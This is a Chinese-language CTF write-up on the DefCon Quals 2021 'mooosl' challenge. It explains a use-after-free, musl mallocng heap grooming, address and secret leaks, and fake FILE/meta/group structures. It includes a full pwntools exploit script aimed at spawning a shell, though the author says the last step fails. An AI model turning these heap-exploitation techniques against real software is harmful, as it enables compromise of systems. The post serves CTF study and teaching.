musl pwn 入门 (4)

news2024/11/24 20:56:44

在前面的介绍中,我们学习了musl pwn的基本原理,下面我们就通过一道经典例题进一步巩固。

这是DefCon Quals 2021中的一道题mooosl,直接在github上搜这道题的名字就可以找到作者发布的附件,内含说明、作者的exp、源码以及二进制程序。

注:我本来以为题目给的musl 1.2.2的libc和自己机子上面的一样,结果发现差得太远了,白花了我大半天时间。😭

参考文章

1. 逆向分析

这是一个菜单题,包含三种操作store、query和delete,经过逆向分析之后可以知道这个菜单题的数据结构逻辑。程序中有一段0x8000大小的空间hashmap,可以保存0x1000个指针。这个指针是作者定义的结构体,结构体中包含有两个字符串,分别为key和value。进行store操作时,首先输入key,然后程序使用一个函数计算其哈希值(0-0xFFF),这个哈希值就是这个结构体需要保存到hashmap中的索引。如果有两个key的哈希值相同,则第二次store获取的结构体就会成为hashmap中的链首,结构体中还有一个指针用于形成链表,第一次store的结构体的地址就保存在第二次store的结构体之中。query则是根据输入的key值计算出哈希值对应的结构体并输出。delete会将找到的结构体移出hashmap。

本题的漏洞在delete函数中:

结构体的声明

注意delete中的if语句,这个if语句内部的功能是从hashmap中移出结构体实例,p_chain就是hashmap中的地址。但这里有一种情况没有考虑:当要删除的结构体位于链尾时,if语句的两个条件都不会满足,这样这个结构体就不会从链表中删除,而是留在其中。这就为我们UAF创造了条件。如果我们能够通过堆排布操作让另一个结构体的value地址等于这个已经被删除的结构体地址,那么通过query我们就能够获取到这个结构体中的内容,其中包含多个指针的地址。

2. 解题第一步——泄露信息

我们再来回顾一下free函数的流程:free的重点在于nontrivial_free,注意下面的代码片段:

// (free函数的一个片段)
	wrlock();
	struct mapinfo mi = nontrivial_free(g, idx);
	unlock();
	if (mi.len) {
		int e = errno;
		munmap(mi.base, mi.len);
		errno = e;
	}

// (nontrivial_free函数的一个片段)
	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
		// any multi-slot group is necessarily on an active list
		// here, but single-slot groups might or might not be.
		if (g->next) {
			assert(sc < 48);
			int activate_new = (ctx.active[sc]==g);
			dequeue(&ctx.active[sc], g);
			if (activate_new && ctx.active[sc])
				activate_group(ctx.active[sc]);
		}
		return free_group(g);
	}

// (free_group中的一个片段)
	if (g->maplen) {
		step_seq();
		record_seq(sc);
		mi.base = g->mem;
		mi.len = g->maplen*4096UL;
	}
	...
	free_meta(g);
	return mi;

当一个group中所有的chunk均被释放时,在释放最后一个chunk时会调用到free_group函数将group释放,这是我们不希望看到的,因此在堆排布的过程中,我们不应该让一个meta中的所有chunk在某一时刻全部被释放。

另外注意到,malloc函数在选择chunk时不会去选择刚刚被free的chunk,因为此时代表该chunk的bit只在freed_mask中为1,在avail_mask中为0。

static inline uint32_t activate_group(struct meta *m)
{
	assert(!m->avail_mask);
	uint32_t mask, act = (2u<<m->mem->active_idx)-1;
	do mask = m->freed_mask;
	while (a_cas(&m->freed_mask, mask, mask&~act)!=mask);
	return m->avail_mask = mask & act;
}

activate_group函数则可以将free_mask中的所有chunk变为avail_mask。这个函数触发的条件是:这个group的avail_mask为0,该group中不是被free的chunk就是正在使用的chunk。因此,想要分配到已经被free的结构体所在的chunk,就应该首先让这个group中的chunk全部被分配一次。

考虑到本题使用的是calloc而不是malloc,因此堆排布的目标应该是让一个结构体的value指向另一个结构体,而且不能分配到原来结构体所在的chunk。可行的方法是:

  • Step 1: 分配第1个storage结构体
  • Step 2: 进行堆空间排布
  • Step 3: 分配第2个storage结构体使得storage结构体本身位于其value的后面
  • Step 4: delete第2个storage
  • Step 5: 分配第3个storage结构体使得这个结构体的chunk就是第2个storage的value
  • Step 6: 对第2个storage调用query以获得第3个storage结构体中的指针等

这里需要进行计算,让两个不同的key值具有相同的哈希值,这个不难实现,因为最终结果是12比特,穷举即可。

                                                    # 6543210
store(b'A', b'9889')                                # AAAAAAU
for i in range(5):
    query(b'A' * 0x30)                              # AFFFFFU
store(b'B', b'A' * 0x30)                            # UAAAAUU
store(find_collision(b'B'), b'B')                   # UAAAUUU
delete(b'B')                                        # FAAAUFU
for i in range(3):
    query(b'A' * 0x30)                              # FFFFUFU -> AAAAUAU
store(b'C', b'C' * 0x1000)                          # AAAUUUU
query(b'B')

如上面的代码片段所示,即可通过query操作打印出最后一个store创建的结构体的信息。最后一个store的value地址就在当前的group中,根据这个值可以获取该group的地址。注意这里的最后一次store分配了一个大空间,这会让musl在libc地址正下方mmap一块空间,这样我们可以通过这个地址获取到libc的基地址。在此之后,我们只需要重复地通过query操作修改第二次store获得的storage中的value地址,即可实现任意地址读。因为此时我们可以根据获取的两个地址推导出第二个storage中的关键字段的值。在第一次leak之后,7个chunk索引从高到低的状态应该依次为:AAAAUUU(A可用,U正用,F释放),其中第7个是第二个storage结构体保存的位置,那么我们可以先用3个无效的query让状态变为AFFFUUU,然后就可以使用query操作来修改第二个storage结构体的值,最后再一次query进行任意写。

由此,我们可以获取到meta_areasecret值,libc的基地址等关键信息,之后就要开始使用unlink进行利用了。

leak = hex2bytes(io.recvline().split(b":")[1])
group_addr = u64(leak[0:8]) - 0x70
smallchunk = group_addr + 0x30
mmap_addr = u64(leak[8:16]) - 0x20
enc = u64(leak[32:40]) - 1
libc_base = mmap_addr + 0x4000

for i in range(3):
    query(b'B' * 0x30)
query(p64(smallchunk) + p64(group_addr) + p64(1) + p64(0x30) + p64(enc) + p64(0), key_size=0x30)
query(b'B')

leak = hex2bytes(io.recvline().split(b":")[1])
meta_addr = u64(leak[0:8])
meta_area = meta_addr & 0xFFFF_FFFF_FFFF_F000
info('meta_area: ' + hex(meta_area))
for i in range(3):
    query(b'B' * 0x30)
query(p64(smallchunk) + p64(meta_area) + p64(1) + p64(0x30) + p64(enc) + p64(0), key_size=0x30)
query(b'B')

leak = hex2bytes(io.recvline().split(b":")[1])
secret = u64(leak[0:8])
info('secret: ' + hex(secret))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
stderr = libc_base + libc.symbols['stderr']
stdout = libc_base + libc.symbols['stdout']

3. 解题第二步:伪造FILEmetagroup等结构并利用

这一步是常规步骤,我们将伪造的FILE结构体、伪造的metagroupchunk放在一个chunk中,注意meta_area需要页对齐,并在页首部写入secret值。

写入之后,我们想办法释放假的chunk,方法是将原来用于leak的chunk分配出去,然后修改内部指针的值,再通过delete删除即可。然后就可以利用unlink修改stderr指针的值为我们的假chunk。但是很不幸的是,stderr指针所在的段是只读的,我不知道为什么很多的文章都说要修改这个地方,但是这里不能改,如果能改的话是肯定可以过的。也就是最后一次delete无法完成。

exp:

from pwn import *
context.log_level = 'debug'
io = process('./mooosl', env={'LD_PRELOAD': 'libc.so'})
libc = ELF('libc.so')
elf = ELF('./mooosl')

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
att = lambda: gdb.attach(io)
sleep = lambda: time.sleep(3)

def encrypt(content: bytes):
    res = 2021
    for i in range(len(content)):
        res = res * 0x13377331 + ord(content.decode()[i])
        res %= 0x1_0000_0000
    return res & 0xFFF

def encrypt_original(content: bytes):
    res = 2021
    for i in range(len(content)):
        res = res * 0x13377331 + ord(content.decode()[i])
        res %= 0x1_0000_0000
    return res

def store(key_content, value_content, key_size = None, value_size = None):
    sla(b'option: ', b'1')
    if key_size is None:
        sla(b'key size: ', str(len(key_content)).encode())
        sa(b'key content: ', key_content)
    else:
        sla(b'key size: ', str(key_size).encode())
        sa(b'key content: ', key_content)
    if value_size is None:
        sla(b'value size: ', str(len(value_content)).encode())
        sa(b'value content: ', value_content)
    else:
        sla(b'value size: ', str(value_size).encode())
        sa(b'value content: ', value_content)

def query(key_content, key_size = None):
    sla(b'option: ', b'2')
    if key_size is None:
        sla(b'key size: ', str(len(key_content)).encode())
        sa(b'key content: ', key_content)
    else:
        sla(b'key size: ', str(key_size).encode())
        sa(b'key content: ', key_content)

def delete(key_content):
    sla(b'option: ', b'3')
    sla(b'key size: ', str(len(key_content)).encode())
    sa(b'key content: ', key_content)

def find_collision(victim: bytes):
    i = 0
    target = encrypt(victim)
    while True:
        if encrypt(str(i).encode()) == target and str(i).encode() != victim:
            return str(i).encode()
        i += 1

def hex2bytes(content: bytes):
    res = b''
    for i in range(len(content) // 2):
        res += p8(int(content.decode()[i*2], 16) * 0x10 + int(content.decode()[i*2+1], 16))
    return res

                                                    # 6543210
store(b'A', b'9889')                                # AAAAAAU
for i in range(5):
    query(b'A' * 0x30)                              # AFFFFFU
store(b'B', b'A' * 0x30)                            # UAAAAUU
store(find_collision(b'B'), b'B')                   # UAAAUUU
delete(b'B')                                        # FAAAUFU
for i in range(3):
    query(b'A' * 0x30)                              # FFFFUFU -> AAAAUAU
store(b'C', b'C' * 0x1000)                          # AAAUUUU
query(b'B')

leak = hex2bytes(io.recvline().split(b":")[1])
group_addr = u64(leak[0:8]) - 0x70
smallchunk = group_addr + 0x30
mmap_addr = u64(leak[8:16]) - 0x20
enc = u64(leak[32:40]) - 1
libc_base = mmap_addr + 0x4000

for i in range(3):
    query(b'B' * 0x30)
query(p64(smallchunk) + p64(group_addr) + p64(1) + p64(0x30) + p64(enc) + p64(0), key_size=0x30)
query(b'B')

leak = hex2bytes(io.recvline().split(b":")[1])
meta_addr = u64(leak[0:8])
meta_area = meta_addr & 0xFFFF_FFFF_FFFF_F000
info('meta_area: ' + hex(meta_area))
for i in range(3):
    query(b'B' * 0x30)
query(p64(smallchunk) + p64(meta_area) + p64(1) + p64(0x30) + p64(enc) + p64(0), key_size=0x30)
query(b'B')

leak = hex2bytes(io.recvline().split(b":")[1])
secret = u64(leak[0:8])
info('secret: ' + hex(secret))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
stderr = libc_base + libc.symbols['stderr']
stdout = libc_base + libc.symbols['stdout']

for i in range(2):
    query(b'B' * 0x30)
fake_file_addr = libc_base - 0x3000 + 0x560
fake_meta_addr = libc_base - 0x2000 + 0x10
fake_group_addr = libc_base - 0x2000 + 0x40

# key
key = p64(group_addr + 0x20)
key += p64(fake_group_addr + 0x10)
key += p64(4)
key += p64(0x30)
key += p64(encrypt_original(find_collision(find_collision(b'B'))))
key += p64(0)

fake_file = b'/bin/sh\x00'
fake_file += p64(0) * 6
fake_file += p64(1)     # wbase
fake_file += p64(0)
fake_file += p64(system)    # write

maplen = 1
sizeclass = 8
last_idx = 0
freeable = 1
fake_meta = p64(fake_group_addr + 0x10 + 0x80)      # prev
fake_meta += p64(stderr)                            # next
fake_meta += p64(fake_group_addr)                   # fake_meta->mem
fake_meta += p64(0)                                 # fake_meta->avail_mask
fake_meta += p64(last_idx + (freeable << 5) + (sizeclass << 6) + (maplen << 12))
fake_meta += p64(0)

fake_group = p64(fake_meta_addr)
fake_group += p64(1)
fake_group += p64(0)

value = fake_file.ljust(0x1000 - 0x560, b'\x00')
value += p64(secret).ljust(0x10, b'\x00')
value += fake_meta
value += fake_group
value += b'\x00' * 0x530

store(key, value, key_size=0x30, value_size=len(value))
# query(p64(group_addr + 0x20) + p64(fake_group_addr + 0x90) + p64(4) + p64(0x30) +
#       p64(encrypt_original(find_collision(find_collision(b'B')))) + p64(0), key_size=0x30)
info('fake chunk address: ' + hex(fake_group_addr + 0x90))
info('stderr: ' + hex(stderr))
info('group address: ' + hex(group_addr))
info('mmap space: ' + hex(mmap_addr))
delete(find_collision(find_collision(b'B')))

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/188863.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux系统之openEuler安装部署

Linux系统之openEuler安装部署一、openEuler介绍1.openEuler简介2.openEuler的硬件要求①物理机的安装要求②虚拟机的安装要求二、下载openEuler系统镜像1.官方网址2.下载openEuler系统镜像三、虚拟机配置工作1.设置虚拟机名称2.处理器配置3.设置虚拟机内存4.设置网络类型5.磁盘…

电脑桌面壁纸不清晰?壁纸模糊怎么修复高清?

我们在入手新电脑之后&#xff0c;首先就是会想要设置一个好看的壁纸&#xff0c;虽然系统会自带一些壁纸&#xff0c;但大多数用户都不喜欢这样一成不变的壁纸。于是在网上找了很好好看的壁纸换上&#xff0c;结果发现在更换电脑壁纸之后却发现壁纸显示非常的模糊不清。为什么…

git中gitignore忽略文件规则配置

我们在日常开发中会遇见项目打包的情况&#xff0c;然后这时候我们想要打包完成后提交一次代码&#xff0c;会忘记删除dist文件或者打包文件&#xff0c;会跟着提交上去&#xff0c;这样就造成了协同开发的麻烦&#xff0c;也会造成codeReview的障碍&#xff0c;让别人在拉取代…

CNN平移不变性

目录 .1 简介&#xff1a; 1.1什么是平移不变性 1.2 平移不变性/平移同变性 1.3 为什么卷积神经网络具有平移不变性 总结 1.4 证伪&#xff1a;CNN中的图片平移不变性 .2 实例 references&#xff1a; .1 简介&#xff1a; 1.1什么是平移不变性 不变性 不变性意味着即…

跟风试试ChatGPT

文章目录前言什么是ChatGPTChatGPT怎么玩注册验证使用设计型开发型强人所难型Python调用ChatGPT总结前言 其实现在也不算是跟风了&#xff0c;从 ChatGPT 出现至今已经有几个月的时间&#xff0c;这股风似乎已经刮过去了&#xff0c;虽然各种新闻铺天盖地&#xff0c;但因为懒…

RHCE(远程连接服务器)

文章目录一、远程连接服务器简介1、什么是远程连接服务器2、远程连接服务器的功能3、远程连接服务器的类型4、文字接口连接服务器二、连接加密技术简介1、版本协商阶段2、密钥和算法协商阶段会话密钥的生成3、认证阶段SSH提供两种认证方法&#xff1a;三、SSH远程连接服务简介1…

高阶数据结构之红黑树

文章目录红黑树红黑树的性质红黑树的定义红黑树的插入情况一&#xff1a;插入节点的父节点为红&#xff0c;祖父节点为黑&#xff0c;叔叔节点存在且为红情况二&#xff1a;当前节点的父节点为红&#xff0c;祖父节点为黑&#xff0c;叔叔节点不存在或者为黑红黑树的验证验证是…

Linux常用命令——read命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) read 从键盘读取变量值 补充说明 read命令从键盘读取变量的值&#xff0c;通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值&#xff0c;变量和输入的值都需要使用空格隔开。在read命…

这些预测性维护的专业术语你都了解吗?

一、前言 随着时代的发展&#xff0c;越来越多的企业希望能够在对设备和系统无损的前提下&#xff0c;通过一系列的测试和分析来实现维护。这种维护工作是基于设备和系统本身的运行状态来安排实施的&#xff0c;被称为CBM&#xff08;Condition Based Maintenance&#xff09;…

Apache自带压力测试工具—ab

ab压力测试工具&#xff1a; ab全称为&#xff1a;apache bench 我们先来了解一下压力测试的概念&#xff1a; 吞吐率&#xff08;Requests per second&#xff09; 概念&#xff1a;服务器并发处理能力的量化描述&#xff0c;单位是reqs/s&#xff0c;指的是某个并发用户数…

【c++】模拟实现vector

一.vector的成员变量与迭代器vector里面可以存各种数据类型&#xff0c;所以必定会用到模板&#xff0c;假设vector的模板参数为T&#xff0c;那么T*这个指针封装后就是vector的迭代器和string的迭代器很像&#xff0c;只不过string确定存的是字符&#xff0c;所以迭代器直接是…

ubuntu20.04网络配置

安装net-toolssudo apt-get install net-tools2、ifconfig查看网卡设备其中flags表中&#xff1a;running表示正在使用中。查看设备核心网络路由表&#xff1a;route -nDestination目标网段或者主机Gateway网关地址&#xff0c;”*” 表示目标是本主机所属的网络&#xff0c;不…

【Vue2+Element ui通用后台】用户列表

文章目录新增用户用户列表新增用户 首先增加一个 ‘新增’ 按钮&#xff0c;点击弹出对话框来新增用户。弹出框可以使用 Element UI 的 Dialog对话框&#xff0c;其中 visible 表示是否显示 Dialog&#xff0c;支持 .sync 修饰符。我们点击新增按钮把这个标识置为 true&#x…

金山系不惧微软,前有WPS力扛Office,后有eversheet接力再战

金山软件作为国产互联网元老企业&#xff0c;这里出来的IT大佬不计其数&#xff0c;小米的雷军、逸趣网络的吴裔敏、甜瓜在线的朱勇......金山软件不屈不挠的企业文化&#xff0c;沉淀已久&#xff0c;造就一大批人才&#xff0c;甚至追溯到40年前。 1981年&#xff0c;张旋龙在…

IntelliJ IDEA 闪退的解决办法

场景 最近这idea闪退频率又多了不少 以前 几天一闪退 现在 一天N多次闪退 如下图 看这崩溃日志 这怎么顶 解决办法 查看崩溃日志 日志 1 日志2 日志3 可以看出现在生效的参数 Command Line: -Xms128m -Xmx750m -XX:ReservedCodeCacheSize512m -XX:IgnoreUnrecognized…

SCA技术进阶系列(一):SBOM应用实践初探

现代软件都是组装的而非纯自研。随着开源组件在数字化应用中的使用比例越来越高&#xff0c;混源开发已成为当前业内主流开发方式。开源组件的引入虽然加快了软件开发效率&#xff0c;但同时将开源安全问题引入了整个软件供应链。软件组成成分的透明性成为软件供应链安全保障的…

Flink检查点详解

说白了就是等你要处理的这个或这波数据被所有任务&#xff08;执行完所有算子&#xff09;处理完了 再做检查点保存&#xff08;下图就是三个数据都被map、sum处理完 就做检查点保存 source是读取数据的&#xff09; 下图只是一个检查点的保存过程&#xff08;拆解&#xff09…

Express框架中JWT基础 - 对称|非对称加密

在上一篇内容当中已经使用过了JWT(JSONWebToken)做验证登录&#xff0c;采用的是对称加密的方式&#xff0c;那么在本篇当中来进一步的讲解关于JWT的基础使用对称以及非对称加密&#xff1b;先来简单的回顾上一篇内容当中使用到的对称加密&#xff1a; 对称加密 首先是通过expr…

Kafka架构组成及相关内容

0. 主要参考&#xff1a;1. Kafka基础架构组成&#xff1a;2. Kafka的一些操作命令&#xff1a;3. Kafka 生产者消息发送流程&#xff1a;4. Kafka 的ack机制&#xff1a;5. Kafka 生产者消息发送模式&#xff08;同步/异步&#xff09;&#xff1a;6. Kafka发送消息的分区策略…

元宇宙之声:nspace

nspace 行政总裁为我们介绍他在元宇宙中的最新创作以及对 2023 年的愿景。 本期节目我们邀请了 nspace 行政总裁 Ethan Liu 分享他的 The Sandbox 之旅以及他们的最新创作。 可以告诉我们更多关于 nspace 的信息吗&#xff1f; nspace 是一家专注于开发新的元宇宙商业模式的初创…